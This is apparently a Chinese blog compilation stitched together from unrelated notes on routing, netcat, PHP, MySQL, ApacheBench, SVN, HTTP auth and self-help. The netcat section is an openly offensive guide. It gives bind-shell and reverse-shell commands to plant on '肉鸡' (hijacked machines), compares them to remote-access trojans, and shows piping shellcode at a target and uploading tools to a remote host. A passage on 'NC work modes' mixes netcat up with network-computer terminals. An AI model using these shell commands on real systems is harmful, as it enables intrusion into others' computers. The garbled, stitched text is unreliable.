什么是黑洞路由

黑洞路由,便是将所有无关路由吸入其中,使它们有来无回的路由,一般是admin主动建立的路由条目。

提到黑洞路由就要提一下null0接口。
null0口是个永不down的口,一般用于管理,详见null0的词条
admin建立一个路由条目,将接到的某个源地址转向null0接口,这样对系统负载影响非常小。
如果同样的功能用ACL(地址访问控制列表)实现,则流量增大时CPU利用率会明显增加。
所以,设置黑洞路由一直是解决固定DOS攻击的最好办法
相当于洪水来临时,在洪水途经的路上附近挖一个不见底的巨大深坑,然后将洪水引入其中。
黑洞路由最大的好处是充分利用了路由器的包转发能力,对系统负载影响非常小。
在路由器中配置路由黑洞完全是出于安全因素,设有黑洞的路由会默默地抛弃掉数据包而不指明原因。
一个黑洞路由器是指一个不支持PMTU且被配置为不发送“Destination Unreachable–目的不可达”回应消息的路由器。
    可以这样看:
如果一个路由器不支持PMTU并且配置为不发送ICMP Destination Unreachable消息数据包,那么源主机可能发送一个永远得不到路由的大数据包。因为路由器没有给源主机发回应消息,主机不能确定PMTU就是问题的所在。但如果源主机端启用了PMTU,则源主机在重试几次大的MTU之后,如果还收不到路由器的应答,那源主机自动将PMTU设置为576bytes.
在Windows 2000下PMTU启用设置是—HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
EnablePMTUBHDetect REG_DWORD 0(默认禁用)或1(启用)
在Windows XP下也可以试一下。
(NOTE:PMTU–Path Maximum Transfer Unit是指当一个要发送的数据包的大小与当前路径中的最小的MTU值一样)

nc(瑞士军刀)的详细使用 [windows 版本 中文说明]

 

netcat被誉为网络安全界的’瑞士军刀’,相信没有什么人不认识它吧……

一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,

能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几

乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法)。

在中国,它的WINDOWS版有两个版本,一个是原创者Chris Wysopal写的原版本,另一个是由’红与黑’编译

后的新’浓缩’版。’浓缩’版的主程序只有10多KB(10多KB的NC是不能完成下面所说的第4、第5种使用方法,

有此功能的原版NC好象要60KB:P),虽然"体积"小,但很完成很多工作。

=====================================================================================================

软件介绍:

工具名:Netcat

网址:http://hackbase.com/soft/down.php?downid=15325&id=0
        源码:http://www.hacker.com.cn/down/view_11507.html

平台:Windows

WINDOWS下版本号:[v1.10 NT]

=====================================================================================================

参数介绍:

‘nc.exe -h’即可看到各参数的使用方法。

基本格式:nc [-options] hostname port[s] [ports] …

nc -l -p port [options] [hostname] [port]

-d 后台模式

-e prog 程序重定向,一旦连接,就执行 [危险!!]

-g gateway source-routing hop point[s], up to 8

-G num source-routing pointer: 4, 8, 12, …

-h 帮助信息

-i secs 延时的间隔

-l 监听模式,用于入站连接

-L 连接关闭后,仍然继续监听

-n 指定数字的IP地址,不能用hostname

-o file 记录16进制的传输

-p port 本地端口号

-r 随机本地及远程端口

-s addr 本地源地址

-t 使用TELNET交互方式

-u UDP模式

-v 详细输出–用两个-v可得到更详细的内容

-w secs timeout的时间

-z 将输入输出关掉–用于扫描时

端口的表示方法可写为M-N的范围格式。

=====================================================================================================

基本用法:

大概有以下几种用法:

1)连接到REMOTE主机,例子:

格式:nc -nvv 192.168.x.x 80

讲解:连到192.168.x.x的TCP80端口

2)监听LOCAL主机,例子:

格式:nc -l -p 80

讲解:监听本机的TCP80端口

3)扫描远程主机,例子:

格式:nc -nvv -w2 -z 192.168.x.x 80-445

讲解:扫描192.168.x.x的TCP80到TCP445的所有端口

4)REMOTE主机绑定SHELL,例子:

格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe

讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

5)REMOTE主机绑定SHELL并反向连接,例子:

格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354

讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口

以上为最基本的几种用法(其实NC的用法还有很多,

当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大……)。

=====================================================================================================

高级用法:

6)作攻击程序用,例子:

格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80

格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt

讲解:连接到192.168.x.x的80端口,并在其管道中发送’c:\exploit.txt’的内容(两种格式确有相同的效果,

真是有异曲同工之妙:P)

附:’c:\exploit.txt’为shellcode等

7)作蜜罐用[1],例子:

格式:nc -L -p 80

讲解:使用’-L'(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止

8)作蜜罐用[2],例子:

格式:nc -L -p 80 > c:\log.txt

讲解:使用’-L’可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到’c:\log.txt’中,如果把’>’

改为’>>’即可以追加日志

附:’c:\log.txt’为日志等

9)作蜜罐用[3],例子:

格式1:nc -L -p 80 < c:\honeypot.txt

格式2:type.exe c:\honeypot.txt|nc -L -p 80

讲解:使用’-L’可以不停地监听某一个端口,直到ctrl+c为止,并把’c:\honeypot.txt’的内容’送’入其

管道中

(2)

NC有几种工作模式?

l WBT模式

  应用程序运行在服务器上,NC作为终端使用,可基本上解决和Windows 应用软件的兼容问题。通过在Windows NT/2000服务器上运行Windows应用程序,在NC上运行RDP客户程序,其使用效果和在本地运行相似,一个扩大内存的普通PC服务器就可以支持数十台NC。

l X―Terminal (X―终端)模式

  应用程序运行在Unix服务器上,NC作为终端使用,X―Terminal可以使用Unix(包括Linux)服务器的某些应用程序。

l B/S(浏览器/服务器)模式

  在NC上运行浏览器与服务器协同工作,处理能力由服务器和NC分担。B/S模式是应用软件的发展趋势,其性能主要决定于网络和服务器,在这种模式下使用NC与PC的效果几乎没有差别。各NC都通过网络公共出口联接Intent,这与PC用Modem分别联接Intent相比,既经济又安全。

l Linux本地机模式

  Linux应用程序可以通过远程加载在NC本地运行,服务器提供文件存储。随着知识产权保护的强化采用Linux应用软件将使软件成本大大降低。打印可由网络或本地支持。

下载地址:http://www.eee110.com/Software/Catalog139/169.html

命令1:监听命令

nc -l -p port

nc -l -p port > e:/log.dat

nc -l -v -p port

参数解释:

-l:监听端口,监听入站信息

-p:后跟本地端口号

-v:显示端口的信息,如果使用-vv的话,则会显示端口更详细的信息

提示:一般大家都爱用-vv

nc -l -p 80

这个很简单,监听80端口

如果机器上运行这个命令,端口80被认为是开放的,可以欺骗很多扫描器的哦!

nc -l -p 80 > e:/log.dat

呵呵,功能和上边一样,但是后边加了个“> e:/log.dat”我想,学过ECHO

那个命令的人都会知道吧,是在E盘创建一个log.dat的日志文件

nc -l -v -p 80

和上边命令相似,不过这次不是记录在文件里,而是会直接显示在运行着NC

的屏幕上。

nc -l -v -p 80

然后在浏览器中输入本机IP:127.0.0.1

同样,上边两个也是一样,大家自己试验一下吧

命令2:程序定向

nc -l -p port -t -e cmd.exe

本地机: nc -l -p port 或 nc -l -v -p port

目标机:nc -e cmd.exe ip port

参数解释:

-l、-p两个参数已经解释过了

-e;作用就是程序定向

-t:以telnet的形式来应答

例子

nc -l -p 5277 -t -e cmd.exe

知道运行在哪里吗?千万不要运行在自己的机器上,如果运行了,你机器

就会变成一台TELNET的服务器了,呵呵,解释一下:监听本地端口5277的

入站信息,同时将CMD.exe这个程序,重定向到端口5277上,当有人连接的时候,就让程序CMD.exe以TELNET的形式来响应连接要求。

说白了,其实就是让他成为一台TELNET的肉鸡,所以这个命令要运行在你的肉鸡上。。

呵呵,咱们来找台肉鸡试试,我TELNET IP 5277

local machine:nc -l -p port ( or nc -l -v -p port )

remote machine:nc -e cmd.exe ip port

大家知道灰鸽子和神偷吧,这两款工具都是利用了反弹端口型的木马,

什么叫反弹端口?就是说,当对方中马后,不用你主动和对方连接,也就是说

不用从你的client端向对方主机上运行的server端发送请求连接,而是对方主动来连接你

这样就可以使很多防火墙失效,因为很多防火墙都不检查出站请求的。

这里这两个命令结合在一起后,于那两款木马可以说有异曲同工之效。为什么?

咳!!听我给你讲啊!!(先交100000000RMB学费)哇,别杀我啊!!)

nc -l -p 5277 (坚听本地5277端口)

同样也可以用

nc -l -v -p 5277

运行在本地

然后在远程机器上,想办法运行

nc -e cmd.exe ip 5277

(你可别真的打“ip”在肉机上啊)要打,xxx.xxx.xxx.xxx这样!!

呵,看看在本地机器上出现了什么?

这样就是反弹~~在本地机器上得到了一个SHELL

命令3:扫描端口

nc -v ip port

nc -v -z ip port-port

nc -v -z -u ip port-port

参数解释:

-z:将输入输出关掉,在扫描时使用

nc -v ip port

这个命令是针对某一个端口进行扫描

例如:

nc -v ip 135

扫描远程主机的135端口,这样获得了该端口的一些简单信息,但是针对某些端口,我们还可以获得更多的信息

例如:80端口

我们可以使用nc -v ip 80 然后使用get方法来获得对方的WEB服务器的信息

nc -v -z ip port-port

这个命令是用来扫描的一个命令,这个命令用于快速扫描TCP端口,而port-port则是指定了扫描的端口范围

例如:

nc -v -z ip 1-200

可以看到我机器上的1-200的TCP端口的开放情况

nc -v -z -u ip port-port

这个命令比上个命令多了个-u,这个命令的作用仍然是扫描端口,只是多了一个-u的参数,是用来扫UDP端口的

例如:

nc -v -z -u ip 1-200

这个命令就会扫1-200的UDP端口

命令4:传送文件(HOHO,I LIKE)

LOCAL MACHINE:nc -v -n ip port < x:/svr.exe

REMOTE MACHINE:nc -v -l -p port > y:/svr.exe

参数解释:

-n:指定数字的IP地址

这两个命令结合起来是用来传送文件的

首先,在远程机上运行命令:

nc -v -l -p 5277 > c:/pulist.exe

这个命令还记的吗?呵呵,是不是和监听命令有点类似,对,没错,这个是监听5277端口

并把接受到的信息数据写到c:/pulist.exe中

这时候在本地机上运行

nc -v -n ip 5277 < e:/hack/pulist.exe

这个命令的意思就是,从本地E盘跟目录中读取pulist.exe文件的内容,并把这些数据发送到ip的5277端口上

这样远程主机就会自动创建一个pulist.exe文件

PHP 5.3 新特性

  • Namespaces (documentation maybe out dated)

    这就是传说中的“命名空间”啦,注意他与其他语言的区别

  • Lambda functions and closures

    支持λ函数和闭包运算

  • Addition of the intl, phar (phar is scheduled for some more work a head of alpha2), fileinfo and sqlite3 extensions

    支持intl、phar、fileinfo和sqlite3等扩展

  • Optional cyclic garbage collection

    可选的循环垃圾收集器

  • Optional support for the MySQLnd replacement driver for libmysql

    可选的替代libmysql的MySQLnd支持

  • Windows older than Windows 2000 (Windows 98, NT4, etc.) are not supported anymore (details)

    不再支持Win2000以前的系统(Windows 98, NT4等等)

  • New syntax features like NOWDOC, limited GOTO, ternary short cut "?:"

    支持新的语法特性如“NOWDOC”等,限制了“GOTO”和三元运算符“?:”等

    在我看来,此次版本步进,最大的意义在于上边的“命名空间”、“晚(静态)绑定”和MySQLnd,“命名空间”的呼声很高,早就应该加进去了;“晚(静态)绑定”现在还没看到实际东西,暂不做评论;至于MySQLnd,这个是MySQL官方出品的“Native driver for PHP”,针对这句话,官方是这么解释的

  • “native”: This doesn’t mean “written in PHP”; that would be too slow. PHP itself is a program written in C. Therefore “native” means this driver is written in C and tightly integrated into PHP at the C level. This allows the driver to achieve maximum performance (just like libmysql).

    这意味着不是“以PHP编写”,因为那样速度很慢。PHP本身是用C语言编写的,因此“native”意味着这个数据库驱动也是以C语言编写并在C语言级别上与PHP紧密集成。这使得驱动能够发挥最大的效能(类似libmysql)。

  • “driver”: This is not a new programming API or PHP extension; there are already three APIs (ext/mysql, ext/mysqli, PDO/MySQL) and three extensions, so there is no need for more. Rather, mysqlnd is a library that implements the MySQL low-level communication protocol. This library can be used by the existing extensions. Currently ext/mysql and ext/mysqli have been modified so they can optionally use mysqlnd instead of libmysql, and PDO/MySQL will be modified later.

    这不是一个新的API或PHP扩展,已经有三套API(ext/mysql、ext/mysqli、PDO/MySQL)和三套扩展所以不必开发更多的。而MySQLnd更像是一个实现了与MySQL底层通讯协议的库,可以被已经存在的扩展使用。现在ext/mysql和ext/mysqli已经过修改可以选择使用MySQLnd来代替libmysql,PDO/MySQL随后也将做修改。

  • “for PHP”: This is nothing new in the sense that libmysql is also for PHP. But mysqlnd is published under the terms of the PHP license whereas libmysql was not. Therefore, unlike with libmysql, there is no need for the FLOSS License Exception to make the license compatible with that of PHP. Those who recall the (partly heated) discussions about the exception might be especially happy to hear about this.

    与libmysql for PHP而言,这没什么变化,但MySQLnd基于PHP License发布而libmysql不是。因此,不再需要FLOSS License以使其兼容,对于提出这项内容的人而言是一个好消息。

  • MySQL复制表结构和数据SQL语句

    1.复制表结构及数据到新表

    CREATE TABLE 新表
    SELECT * FROM 旧表

    2.只复制表结构到新表

    CREATE TABLE 新表
    SELECT * FROM 旧表 WHERE 1=2
    即:让WHERE条件不成立.
    方法二:(低版本的mysql不支持,mysql4.0.25 不支持,mysql5已经支持了)   
    CREATE TABLE 新表
    LIKE 旧表

    3.复制旧表的数据到新表(假设两个表结构一样)

    INSERT INTO 新表
    SELECT * FROM 旧表

    4.复制旧表的数据到新表(假设两个表结构不一样)

    INSERT INTO 新表(字段1,字段2,…….)
    SELECT 字段1,字段2,…… FROM 旧表

    ab命令测试apache压力

    1. 最基本的关心两个选项 -c -n
    例: ./ab -c 100 -n 10000 http://127.0.0.1/index.php

    -c 100 即:每次并发100个
    -n 10000 即: 共发送10000个请求

    2. 测试结果分析

    [junjie2@login htdocs]$ /data1/apache/bin/ab -c 1000 -n 50000 "http://10.10.10.10/a.php"
    This is ApacheBench, Version 1.3d <$Revision: 1.73 $> apache-1.3
    Copyright (c) 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
    Copyright (c) 1998-2002 The Apache Software Foundation, http://www.apache.org/

    Benchmarking 10.65.129.21 (be patient)
    Completed 5000 requests
    Completed 10000 requests
    Completed 15000 requests
    Completed 20000 requests
    Completed 25000 requests
    Completed 30000 requests
    Completed 35000 requests
    Completed 40000 requests
    Completed 45000 requests
    Finished 50000 requests
    Server Software: Apache/1.3.33
    Server Hostname: 10.65.129.21
    Server Port: 80

    Document Path: /a.php //请求的资源
    Document Length: 0 bytes // 文档返回的长度,不包括相应头

    Concurrency Level: 1000 // 并发个数
    Time taken for tests: 48.650 seconds //总请求时间
    Complete requests: 50000 // 总请求数
    Failed requests: 0 //失败的请求数
    Broken pipe errors: 0
    Total transferred: 9750000 bytes
    HTML transferred: 0 bytes
    Requests per second: 1027.75 [#/sec] (mean) // 平均每秒的请求数
    Time per request: 973.00 [ms] (mean) // 平均每个请求消耗的时间
    Time per request: 0.97 [ms] (mean, across all concurrent requests) // 就是上面的时间 除以并发数
    Transfer rate: 200.41 [Kbytes/sec] received // 时间传输速率

    Connnection Times (ms)
    min mean[+/-sd] median max
    Connect: 0 183 2063.3 0 45003
    Processing: 28 167 770.6 85 25579
    Waiting: 21 167 770.6 85 25578
    Total: 28 350 2488.8 85 48639

    Percentage of the requests served within a certain time (ms)
    50% 85 // 就是有50%的请求都是在85ms内完成的
    66% 89
    75% 92
    80% 96
    90% 168
    95% 640
    98% 984
    99% 3203
    100% 48639 (last request)

    3. 用127.0.0.1来访问可以排除网络的因素,不过在Linux上用本机的对外ip访问也是不走网卡,没有网络消耗的

     

    ab 帮助:

    1.  我们知道用ab测试时,最大并发不能超过1024,其实ab本身没有做这个限制,而是系统限制每个进程打开的最大的文件数为1024,ulimit查看如下:

    [root@localhost ~]# ulimit -a
    core file size          (blocks, -c) 0
    data seg size           (kbytes, -d) unlimited
    file size               (blocks, -f) unlimited
    pending signals                 (-i) 1024
    max locked memory       (kbytes, -l) 32
    max memory size         (kbytes, -m) unlimited
    open files                      (-n) 1024
    pipe size            (512 bytes, -p) 8
    POSIX message queues     (bytes, -q) 819200
    stack size              (kbytes, -s) 10240
    cpu time               (seconds, -t) unlimited
    max user processes              (-u) 32765
    virtual memory          (kbytes, -v) unlimited
    file locks                      (-x) unlimited

    而且open files这个选项在一般的系统里是不允许修改成无限制的,如下:
    [root@localhost ~]# ulimit -n unlimited
    bash: ulimit: open files: cannot modify limit: Operation not permitted

    但是稍微修改大一些或者是小一些,还是允许的,我们修改的小一些试试:
    [root@localhost ~]# ulimit -n 1020
    [root@localhost ~]# ulimit -n
    1020
    [root@localhost ~]#

    在用ab测试,错误如下:

    socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 1019
    ioctl(1019, FIONBIO, [1])               = 0
    gettimeofday({1243919682, 867688}, NULL) = 0
    connect(1019, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("10.55.38.18")}, 16) = -1 EINPROGRESS (Operation now in progress)
    socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = -1 EMFILE (Too many open files)
    close(-1)                               = -1 EBADF (Bad file descriptor)
    第1019个还能正常打开,下一个就报Too many open files的错误了

    确实有效,那么我们修改大一些吧:

    [root@localhost ~]# ulimit -n 10240
    [root@localhost ~]# ulimit -n
    10240
    [root@localhost ~]#

    但是我们发现改大却不行,这里却冒出了一个AF_AX25的名词:
    socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 1024
    ioctl(1024, FIONBIO, [1])               = 0
    gettimeofday({1243919592, 254950}, NULL) = 0
    connect(1024, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("10.55.38.18")}, 16) = -1 EINPROGRESS (Operation now in progress)
    socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 1025
    ioctl(1025, FIONBIO, [1])               = 0
    gettimeofday({1243919592, 255242}, NULL) = 0
    connect(1025, {sa_family=AF_AX25, sa_data="\0P\n7&\22\0\0\0\0\0\0\0\0"}, 16) = -1 EAFNOSUPPORT (Address family not supported by protocol)

    这个AF_AX25可能是buffer溢出造成的,但不确定哦:)。

    另:
    -n 可以指定最大请求数,但是也不能超过50000哦:)
    -v n   当n>=2 时,可以显示发送的http请求头,和响应的http头及内容; 压力测试时不要这么做哦:)

    Linux 上svn的安装

    svn 的安装过程:

    1. 安装apr
    下载:wget "http://apache.mirror.phpchina.com/apr/apr-0.9.17.tar.gz"
    编译:
    ./configure –enable-shared –prefix=/usr/local
    make && make install

    2. 安装apr-util
    下载:wget "http://apache.mirror.phpchina.com/apr/apr-util-1.3.2.tar.gz"
    编译:
    ./configure –enable-shared –prefix=/usr/local \
    –with-expat=builtin –with-apr=/usr/local/bin/apr-config \
    –without-berlekey-db
    make && make install
    3. 安装neon
    下载:wget "http://www.webdav.org/neon/neon-0.28.2.tar.gz"
    编译:
    ./configure –enable-shared –prefix=/usr/local \
    –with-ssl
    make && make install

    4. 安装subversion-1.5.1
    下载:wget "http://subversion.tigris.org/downloads/subversion-1.5.1.tar.gz"
    编译:
    参考命令:./configure –prefix=/usr/local –with-apr=/usr/local/bin/apr-config –with-apr-util=/usr/local
    –with-editor=/usr/bin/vim   –with-neon=/usr/local –without-apxs –without-apache
    没有成功

    附: 不记得是否需要webdav了,这里有:wget "http://www.webdav.org/mod_dav/mod_dav-1.0.3-1.3.6.tar.gz"

    参考文档:http://joemaller.com/2008/01/29/how-to-install-subversion-on-a-shared-host/


    下载:
    > wget "http://subversion.tigris.org/downloads/subversion-1.5.1.tar.gz"
    > tar -zxvf  subversion-1.5.1.tar.gz
    > cd subversion-1.5.1
    >./configure  –with-apr=/usr/local/apache2  –with-apr-util=/usr/local/apache2    && make  && make install


    配置:

    关于svnserve服务器的配置,参考svn-book.pdf

    1. 安装 (略)
    2. 配置/etc/svnserve.conf
        #content , detail reference svn-book.pdf
        [general]
        password-db = /etc/svnserve.pass
        realm = example realm

        # annonymous users can only read the repository
        anon-access = read

        # authenticated users can both read and write
        aut-access = write

    3. 配置权限文件 /etc/svnserve.pass
        [users]
        junjie2 = junjie2

    4. 创建版本库
        svnadmin create /var/svnroot/test1

    5. 启动
        svnserve -d -r /var/svnroot/ –config-file /etc/svnserve.conf

    关于浏览器内置的认证窗口

    通过浏览器内置的认证窗口进行认证并不神奇,其实只要服务器端发送一个状态为401的响应头,浏览器就会弹出认证窗口,带用户输入用户名,密码点击确定后,将用户名密码以 base64_encode(username:password) 的方式放在http header里再次请求,发送给服务器;下面是第一次请求的响应头:
    HTTP/1.1 401 Unauthorized
    Transfer-Encoding: chunked
    Status: 401
    X-Powered-By: PHP/5.2.0
    WWW-Authenticate: Basic realm="My Realm"
    Content-type: text/html
    Date: Sat, 26 Jul 2008 16:49:27 GMT
    Server: LightTPD/1.4.19 (Win32)

    下面是第二次的请求头:
    GET /http_auth.php HTTP/1.1
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-silverlight, */*
    Accept-Language: zh-cn
    UA-CPU: x86
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; WPS)
    Host: ljj.cn
    Connection: Keep-Alive
    Authorization: Basic bW1tOm5ubg==

    关键就在红字部分,其中 bW1tOm5ubg== 就是我的用户名和密码,有兴趣的话可以用base64_decode() 解开看看,就像处理进程cookie那样,浏览器会记住用户名密码,每次请求该页都带上该header,知道浏览器关闭。

    成功需要的 35 个习惯

    要成功,就马上准备有所付出吧!这就是每天你应该养成的习惯。

    1、不说“不可能”;

    2、凡事第一反应: 找方法,不找借口;

    3、遇到挫折对自己说声:太好了,机会来了!

    4、不说消极的话,不落入消极的情绪,一旦发生立即正面处理;

    5、凡事先订立目标;

    6、行动前,预先做计划;

    7、工作时间,每一分、每一秒做有利于生产的事情;

    8、随时用零碎的时间做零碎的事情;

    9、守时;

    10、写点日记,不要太依靠记忆;

    11、随时记录想到的灵感;

    12、把重要的观念、方法写下来,随时提示自己;

    13、走路比平时快30%,肢体语言健康有力,不懒散、萎靡;

    14、每天出门照镜子,给自己一个自信的微笑;

    15、每天自我反省一次;

    16、每天坚持一次运动;

    17、听心跳一分钟,在做重要的事情,疲劳时,紧张时,烦躁时。。。。

    18、开会做前排;

    19、微笑;

    20、用心倾听,不打断对方的话;

    21、说话有力,感觉自己的声音能产生感染力的磁场;

    22、说话之前,先考虑一下对方的感觉;

    23、每天有意识赞美别人三次以上;

    24、即使表示感谢,如果别人帮助了你的话;

    25、控制住不要让自己作出为自己辩护的第一反应;

    26、不用训斥、指责的口吻与别人说话;

    27、每天做一件”分外事“;

    28、不关任何方面,每天必须至少做一次”进步一点点“,并且有意识的提高;

    29、每天提前15分上班,推迟30分下班;

    30、每天下班前5分钟做一下今天的整理工作;

    31、定期存钱;

    32、节俭;

    33、时常运用”头脑风暴“,利用脑力激荡提升自己创新能力;

    34、恪守诚信;

    35、学会原谅

    创业者必须遵循的5个做事方法

    摘自《it时代周刊》  文/周鸿祎
        周鸿祎:
        1970年10月生于湖北,1995年毕业于西安交大管理学院系统工程系,获硕士学位。曾就职方正集团,先后任研发中心副主任、事业部总经理等职。 1998年10月,创建3721公司。2003年3721被雅虎收购,2004年3月出任雅虎中国总裁。2005年7月6日,宣布将于8月31日正式辞去雅虎中国总裁一职。9月1日,他将以投资合伙人的身份正式加盟IDGVC(国际数据集团风险投资基金)

      我鼓励大家创业,但鼓励大家创业不等于盲目创业。对于想创业的人,我对他们的提醒是:不要被成功企业所编写的创业故事所迷惑,因为那里讲的都是一个企业成长过程中过五关斩六将的最精彩的部分。你要用自己的头脑去思考,去学习。作为创业者,有5个很基本的做事方法必须遵循:

      第一,一定要有激情和理念,你才能感染自己和其他人。在最困难的时候,在所有人绝望的时候,你要感染你的客户,感染你的员工,感染你的合作伙伴……你要感染所有人!

      第二,要专注。别说小公司,大公司多元化也有失败的例子,小公司更应该抓准一个点把它做深、做透。这样才能积累所有的资源。小公司到处试验,会让你的企业耗尽很多资源。专注就是有所不为才能有所为,这点非常重要。

      3721坚持了6年,一直坚持做中文上网、中文搜索,我就做这一件事情;Google也是很专注,有了一定的积累以后才能横向扩展。很多创业者都栽在不够专注上,是因为他自己脑子里面没有想清楚,今天在这儿打一口井,明天在那儿打一口井,最后哪儿也没有挖出水,地面上只是留下了许多坑而已。你5个指头都叉开和一个拳头是不一样的,专注就是你把所有的资源都凝聚在一个点上。

      第三是执行力,很多创业者很容易在这里摔跟头。我见过很多人夸夸其谈,估计他们创业,至少第一次肯定都不会成功,因为我觉得真正的创业者要少说多做,要把自己美妙的想法努力转化成结果。

      创业者做事情着眼点要低,要现实。很多创业者去见风险投资人的时候,说起自己的事业都说得云山雾罩的,其实这样会让风险投资人根本不明白你在说什么。你只要踏踏实实地说你想做什么,这个东西能解决什么问题就可以了。

      想法只是一个开头的方式,是不值钱的。我们坐在这儿,一个小时可以天马行空,弄出几十个想法来,脑子稍微一转,你的思想已经在宇宙走了好几个来回了—— 行动的成本才是最高的,对创业者来讲要看自己是不是有这种经验和执行力。同样的想法两个人同样做,谁的执行力更强,谁的经验更丰富,谁就更容易成功。

      第四,创业者还要有一种胸怀,就是所谓与时俱进的学习能力。我看到很多人创业不成功就是因为他们太自负,不能从成功人士那里学到一些优点,听不进好的建议。很多创业者没有经验,没有经验不可怕,问题是你有没有谦虚、开放学习的心态,使你不能与时俱进。很多创业者会陷入一个死循环,他们通常认为自己看得准,才是出手的前提;积累经验越多,才能越看越准。但你没经验,又怎么可能看准?

      解决这个问题有办法,时机不成熟,就不创业,先给别人打工。把公司让我做的事情做好,提高自己的能力,逐步就知道创业的方向了。我不赞成年轻人刚毕业就创业,我认为他们还是应该在公司里踏踏实实干五六年,虽然是打工,实际上是公司在给你“缴”学费,你在不同的平台通过积累经验,这是任何老板剥夺不走的,只有积累这种经验,你的创业能力才更高,才更有把握。我在方正工作时,从来没有觉得自己是打工,我一直认为自己是在创业,因为我觉得是在积累自己的能力,积累自己的资源。客观上,我对方正还是作了很多贡献。我到雅虎还是一种创业的心态,我把雅虎的文化改成创业的文化,因此雅虎中国在2004年取得了很好的业绩。保持良好的心态,这是你创业成功的前提。

      第五,不要盲目去模仿和抄袭大公司的做法。比如,很多人在新浪、搜狐做过,他出来就会不自觉按照大公司的做法建立一些规范制度等,但大公司为了稳妥,一般都比较慢。大公司为这个“慢”付得起代价,小公司不能用大公司的这种做事方法。我讲过大象和兔子的故事:大象和骆驼3天不吃也没事,但是新创业的公司像小兔子一样,每一步都要跑得快,要到处找食。本来就是个兔子,却以为自己是个大象,用大象的心态做事,在狼面前慢慢踱步,最后就会被狼吃掉。创业意味着你要有创业的做事方式。

      如果你跟大公司做一样的事,他的实力很强,跟他比是没有优势的。因此,如果把整个产业画成一张地图,你可以看哪些领域被谁占了,谁有什么优势。你应该找一个不在这张地图上的事情去做。比如说,前几年大家都不重视的搜索,现在就做起来了。创业公司应该踏踏实实把自己的事做好,不要在自己很小的时候就想要通吃,要颠覆,要灭掉谁,这是没有意义的。小公司要学会跟大公司合作,要学会广交朋友,在这个产业链跟别人合作,会使自己成功得更快一些。